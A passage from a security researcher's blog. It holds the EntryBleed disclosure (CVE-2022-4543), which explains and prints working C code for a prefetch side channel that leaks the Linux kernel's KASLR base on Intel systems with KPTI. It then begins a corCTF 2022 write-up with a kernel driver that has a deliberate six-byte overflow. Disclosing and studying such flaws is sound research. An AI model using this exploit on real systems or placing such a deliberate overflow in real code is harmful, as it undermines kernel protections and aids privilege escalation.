Intel based systems. While technically only an info-leak, it still
provides a primitive that has serious implications for bugs previously
considered too hard to exploit and was assigned CVE-2022-4543. As you’ll see why from the writeup later
on, I have decided to term this attack “EntryBleed.”</p>
<p><a href="https://en.wikipedia.org/wiki/Kernel_page-table_isolation">KPTI</a>
(or its original name KAISER) stands for Kernel Page Table Isolation.
It was introduced as a patch for the Meltdown micro-architectural
vulnerabilities a few years ago, where unprivileged attackers could utilize a side channel to bypass KASLR. According to <a href="https://www.kernel.org/doc/html/latest/x86/pti.html">documentation</a>, KPTI basically splits apart the user and kernel page tables for each
process. The kernel still has all of userspace virtual memory mapped in,
but with the NX bit set; the user on the other hand will only have the
minimal amount of kernel virtual memory mapped in, like
exception/syscall entry handlers and anything else necessary for the
user to kernel transition. <a href="https://gruss.cc/files/kaiser.pdf" target="_blank">KAISER</a> actually stood for “Kernel Address
Isolation to have Side-channels Efficiently Removed” and predates
Meltdown, as other side-channel bypasses were already known to be an
issue. If part of KPTI’s purpose is to act as a barrier against KASLR
bypasses for CPU side-channel attacks, then clearly it has failed as of
this post.</p>
<p>In 2016, Daniel Gruss discovered the concept of the <a href="https://gruss.cc/files/prefetch.pdf">prefetch sidechannel</a>.
I used one variant of it, which specifically utilized the TLB (the
caching mechanism for virtual to physical address translations) as a side-channel mechanism. x86_64 has a group of prefetch instructions, which “prefetch” addresses into the CPU cache. A prefetch will finish quickly if the address being loaded is already present in the TLB, but will finish slower when the address is not present (and a page table walk needs to be done). At its time, it was known that ASLR (and KASLR) could be
bypassed by timing prefetches across a potential range of addresses
using high resolution timing instructions like “RDTSC.”</p>
<p>Before I continue with the attack, it must be noted that my main
inspiration came from Google ProjectZero’s recent blogpost on exploiting
<a href="https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html">CVE-2022-42703</a>.
In the final section of the blogpost, they discuss how KPTI has been
left off as more modern CPUs have Meltdown mitigations in silicon, but
this makes them vulnerable to prefetch again. In this case, one would
just assume “Ok, let me enable KPTI again then.” To quote the post:
“kPTI was helpful in mitigating this side channel,” which would make
perfect sense based on the purpose of KPTI/KAISER and seemed to be the
consensus when talking to a few other security researcher friends.</p>
<p>For whatever reason, I had a gut feeling that something was wrong. I thought that maybe the minimal subset of kernel code that is still mapped while userspace code is running could be located with prefetch techniques. After an hour of digging, I noticed the following. In <a href="https://elixir.bootlin.com/linux/v5.19.17/source/arch/x86/kernel/cpu/common.c#L2032"><code>syscall_init</code></a>, the address of <a href="https://elixir.bootlin.com/linux/v5.19.17/source/arch/x86/entry/entry_64.S#L87"><code>entry_SYSCALL_64</code></a>
(which is at a constant offset from KASLR base based on /proc/kallsyms) is stored in the LSTAR
MSR, which holds the address of the kernel’s handler for when a 64 bit syscall gets
executed. Notice how the handler executes a few instructions first
before switching to the kernel CR3 (if KPTI is on) - this means that
this function has to still be mapped in userspace page tables. I then
performed a manual page table walk in a debugger using the user CR3, and
it turns out that <code>entry_SYSCALL_64</code> is mapped at the same address in userland as it is in kernel using its KASLR rebased address - this sounds very suspicious!</p>
<p>At this point, I was quite confident that a prefetch side-channel could reveal the location of entry_SYSCALL_64, and since it seemed to be slid with the rest of the kernel, the KASLR base as well. The overall idea is just to repeatedly execute syscalls to ensure
that the page with <code>entry_SYSCALL_64</code> (hence the name
EntryBleed) gets cached in the instruction TLB, and then prefetch
side-channel the possible range of addresses for that handler (as the
kernel itself is guaranteed to be within 0xffffffff80000000 -
0xffffffffc0000000). </p><p>An astute reader might wonder how the entry is preserved upon returning to userland despite the CR3 write when switching to kernel page tables. This is most likely due to the global bit being set on this page's page table entry, which would protect it from TLB invalidation on mov instructions to CR3. In fact, <a href="https://www.kernel.org/doc/Documentation/x86/pti.txt">PTI</a> documentation says the following: "global pages are disabled for all kernel structures not mapped into both kernel and userspace page tables." I originally suspected that PCID (which introduces separate TLB contexts to lower the occurrence of invalidation using the lower 12 bits of CR3) was the root cause as it often appears in discussions about performance optimization of Meltdown mitigations, but the <a href="https://elixir.bootlin.com/linux/v5.19.17/source/arch/x86/entry/entry_32.S#L54">KPTI CR3 bitmask</a> shows no modifications to PCID. Perhaps I'm misunderstanding the code, so it would be great if someone can correct me if I'm wrong here.</p>
<p>Anyways, the resulting bypass is extremely simple. Unlike some other uarch
attacks, it seems to work fine under normal load in normal systems, and I
can deduce KASLR base on systems with KPTI with almost complete
accuracy by just averaging 100 iterations. Note that the measurement
code itself is from the original prefetch paper, with <code>cpuid</code> swapped with a fence instruction for it to work in VMs (credit goes to p0 for that technique). Below is my code (<code>entry_SYSCALL_64_offset</code> has to be adjusted based on kernel by setting it to the distance between it and <span style="font-family: monospace;">startup_64</span>):</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdio.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdlib.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdint.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> KERNEL_LOWER_BOUND 0xffffffff80000000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> KERNEL_UPPER_BOUND 0xffffffffc0000000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> entry_SYSCALL_64_offset 0x400000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">sidechannel</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">uint64_t</span> addr)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> {
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> a, b, c, d;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">volatile</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-string" style="color: #a31515;">".intel_syntax noprefix;"</span>
<span class="hljs-string" style="color: #a31515;">"mfence;"</span>
<span class="hljs-string" style="color: #a31515;">"rdtscp;"</span>
<span class="hljs-string" style="color: #a31515;">"mov %0, rax;"</span>
<span class="hljs-string" style="color: #a31515;">"mov %1, rdx;"</span>
<span class="hljs-string" style="color: #a31515;">"xor rax, rax;"</span>
<span class="hljs-string" style="color: #a31515;">"lfence;"</span>
<span class="hljs-string" style="color: #a31515;">"prefetchnta qword ptr [%4];"</span>
<span class="hljs-string" style="color: #a31515;">"prefetcht2 qword ptr [%4];"</span>
<span class="hljs-string" style="color: #a31515;">"xor rax, rax;"</span>
<span class="hljs-string" style="color: #a31515;">"lfence;"</span>
<span class="hljs-string" style="color: #a31515;">"rdtscp;"</span>
<span class="hljs-string" style="color: #a31515;">"mov %2, rax;"</span>
<span class="hljs-string" style="color: #a31515;">"mov %3, rdx;"</span>
<span class="hljs-string" style="color: #a31515;">"mfence;"</span>
<span class="hljs-string" style="color: #a31515;">".att_syntax;"</span>
: <span class="hljs-string" style="color: #a31515;">"=r"</span> (a), <span class="hljs-string" style="color: #a31515;">"=r"</span> (b), <span class="hljs-string" style="color: #a31515;">"=r"</span> (c), <span class="hljs-string" style="color: #a31515;">"=r"</span> (d)
: <span class="hljs-string" style="color: #a31515;">"r"</span> (addr)
: <span class="hljs-string" style="color: #a31515;">"rax"</span>, <span class="hljs-string" style="color: #a31515;">"rbx"</span>, <span class="hljs-string" style="color: #a31515;">"rcx"</span>, <span class="hljs-string" style="color: #a31515;">"rdx"</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
a = (b << </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">32</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) | a;
c = (d << </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">32</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) | c;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> c - a;
}
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> STEP 0x100000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> SCAN_START KERNEL_LOWER_BOUND + entry_SYSCALL_64_offset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> SCAN_END KERNEL_UPPER_BOUND + entry_SYSCALL_64_offset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> DUMMY_ITERATIONS 5</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> ITERATIONS 100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> ARR_SIZE (SCAN_END - SCAN_START) / STEP</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">leak_syscall_entry</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> data[ARR_SIZE] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> min = ~</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, addr = ~</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> idx = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; idx < ARR_SIZE; idx++)
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> test = SCAN_START + idx * STEP;
syscall(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">104</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> time = sidechannel(test);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < ARR_SIZE; i++)
{
data[i] /= ITERATIONS;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (data[i] < min)
{
min = data[i];
addr = SCAN_START + i * STEP;
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">printf</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"%llx %ld\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, (SCAN_START + i * STEP), data[i]);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> addr;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">main</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">printf</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"KASLR base %llx\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, leak_syscall_entry() - entry_SYSCALL_64_offset);
}</span></span></p><p>KASLR bypassed on systems with KPTI in less than 100 lines of C!</p>
<p>I’ve managed to have this work on multiple Intel CPUs (including i5-8265U, i7-8750H, i7-9700F, i7-9750H, Xeon(R) CPU E5-2640) - I got it working on some VPS
instances too but was unable to figure out the Intel CPU model there. It
seems to work across a wide range of kernel versions with KPTI - I’ve
tested it on Arch 6.0.12-hardened1-1-hardened, Ubuntu 5.15.0-56-generic, 6.0.12-1-MANJARO,
5.10.0-19-amd64, and a custom 5.18.3 build. It also works in KVM guests
to leak the guest OS KASLR base (one would need to forward the
host CPU features with "-cpu host" in QEMU for prefetch to even work though). I'm not sure how the TLB side-effects are preserved in a VM scenario though across CR3 writes and potential VM exits - if anyone has ideas, please let me know! As of now, I don’t
think this attack affects AMD, but I also don't have direct access to any AMD hardware (see edit in the end). Lastly, I don't believe the repeated syscalls are necessary in my exploit as later tests show that it worked without making them with each measurement most likely due to the global bit, but I still kept it in my exploit just to guarantee its existence in the TLB.</p>
<p>Here is a demonstration of it (kernel base is printed before the shell for comparison purposes): </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0aBNoBcKz3-EQBc9uoZOoiGZLiMgFXS-yElT8s7mlpjcsDi8JMGQ1dURbea3t0r1rQULWTPUpqUaTmWM1kV2kzoDzkRA-fdBKwIUBQWcR8nHkufKMc6ZzngZRyH_kFjao25jmPfSWu8YwOVICnHdTNOhKLY33Nnh1Qxv5NNhZDoKeIlLkA_W6aK3CJw/s600/demo.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="583" data-original-width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0aBNoBcKz3-EQBc9uoZOoiGZLiMgFXS-yElT8s7mlpjcsDi8JMGQ1dURbea3t0r1rQULWTPUpqUaTmWM1kV2kzoDzkRA-fdBKwIUBQWcR8nHkufKMc6ZzngZRyH_kFjao25jmPfSWu8YwOVICnHdTNOhKLY33Nnh1Qxv5NNhZDoKeIlLkA_W6aK3CJw/s16000/demo.gif" /></a></div><p>One thing that could be done for increasing reliability would be accessing a lot
of userspace addresses beforehand at specific strides to evict the TLB
(and avoid false answers from other cached kernel addresses, which I saw with higher frequency on some systems). I also
hypothesize that in scenarios without KPTI (like in ProjectZero’s case),
prefetch would work even better if one were to trigger a specific
codepath in kernel and specifically hunt for that offset during the
side-channel.</p><p>In conclusion, Linux KPTI doesn’t do it’s job and it’s still quite easy to get KASLR base. I’ve already emailed security@kernel.org
as well as relevant mailing lists for distros, and was authorized to
disclose this as a potential fix might take a while. I’m honestly not
too sure what the best approach to fix this as it’s more of an implementation issue, but I suggested that to randomize the virtual address of
entry/exit handlers that are mapped into userspace, have them be at a fixed virtual address unrelated to kernel base, or have a randomized
offset from kernel base. I suspect that this problem might really
just be due to a major oversight; one kernel developer mentioned to me that this
was definitely not the intent and might have been a regression. </p><p>
</p><p>I’ll end this post with some acknowledgements. A huge shoutout must go to my uarch security mentor <a href="https://twitter.com/0xjprx">Joseph Ravichandran</a> from MIT CSAIL for guiding me throughout this field of research and advising me a lot on this bug. He introduced me to prefetch attacks through the <a href="http://csg.csail.mit.edu/6.888Yan/" target="_blank">Secure Hardware Design course</a> from Professor Mengjia Yan - one
of their final labs is actually about bypassing userland ASLR using
prefetch. Thanks must go to Seth Jenkins at ProjectZero for the original
inspiration too, and <a href="https://syst3mfailure.io/" target="_blank">D3v17</a> for his support and extensive testing. As always, feel free to ask questions or point out any
mistakes in my explanations!</p><p>Edit (12/18/2022): As <a href="https://github.com/bcoles">bcoles</a> later informed me, a generic prefetch attack seems to work for some AMD CPUs, which isn't surprising given <a href="https://www.usenix.org/system/files/sec22-lipp.pdf">this paper</a> and this <a href="https://www.amd.com/en/corporate/product-security/bulletin/amd-sb-1017">security advisory</a>. However, it's also important to note that this would basically be the same attack as ProjectZero discussed originally, as AMD was not affected by Meltdown so KPTI was never enabled for their processors.</p>Unknownnoreply@blogger.com8tag:blogger.com,1999:blog-8814147965526194982.post-90204405950278076452022-08-16T23:41:00.007-07:002022-08-17T00:59:26.044-07:00Reviving Exploits Against Cred Structs - Six Byte Cross Cache Overflow to Leakless Data-Oriented Kernel Pwnage<p>Last year in corCTF 2021, <a href="https://syst3mfailure.io/">D3v17</a> and I wrote two kernel challenges demonstrating the power of msg_msg: <a href="https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html">Fire of Salvation</a> and <a href="https://syst3mfailure.io/wall-of-perdition">Wall of Perdition</a>. These turned out to be a really powerful technique which have been repeatedly utilized in real world exploits.</p>
<p>For this year’s edition, we followed a similar trend and designed
challenges that require techniques seen before in real world exploits
(and not CTFs). I wrote Cache of Castaways, which requires a cross cache
attack against <code>cred</code> structs in its isolated slabs. The
attack utilized a simplistic and leakless data-only approach applicable
in systems with low noise. D3v17 wrote <a href="https://syst3mfailure.io/corjail">CoRJail</a>, which requires a docker escape and a novel approach of abusing <a href="https://elixir.bootlin.com/linux/v5.18.3/source/fs/select.c#L840"><code>poll_list</code></a> objects for an arbitrary free primitive through its slow path setup. </p>
<p>For my challenge, a standard CTF kernel setup was given along with
the kernel compilation config. SMAP, SMEP, KPTI, KASLR, and many other
standard kernel mitigations were on - I even disabled msg_msg for
difficulty’s sake. The kernel version used was 5.18.3, booted with 1 CPU
and 4 GBs of RAM. You can download the challenge with the included
driver in the <a href="https://github.com/Crusaders-of-Rust/corCTF-2022-public-challenge-archive/tree/master/pwn/cache-of-castaways">corCTF 2022 archive repo</a>.</p>
<p>Here is the source of the CTF driver (I did not provide source during the competition as reversing this is quite simple): </p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span style="background-color: whitesmoke; display: block; font-family: monospace; white-space: pre;"><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/kernel.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/module.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/device.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/mutex.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/fs.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/slab.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/miscdevice.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/uaccess.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/types.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/random.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/delay.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/list.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><linux/vmalloc.h></span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> DEVICE_NAME <span class="hljs-string" style="color: #a31515;">"castaway"</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> CLASS_NAME <span class="hljs-string" style="color: #a31515;">"castaway"</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> OVERFLOW_SZ 0x6</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> CHUNK_SIZE 512</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> MAX 8 * 50</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> ALLOC 0xcafebabe</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> DELETE 0xdeadbabe</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> EDIT 0xf00dbabe</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
MODULE_DESCRIPTION(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"a castaway cache, a secluded slab, a marooned memory"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
MODULE_LICENSE(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"GPL"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
MODULE_AUTHOR(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"FizzBuzz101"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">typedef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span>
{</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> idx;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *buf;
}</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">user_req_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> castaway_ctr = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">typedef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span>
{</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pad[OVERFLOW_SZ];
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> buf[];
}</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">castaway_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">castaway_cache</span>
{</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> buf[CHUNK_SIZE];
};
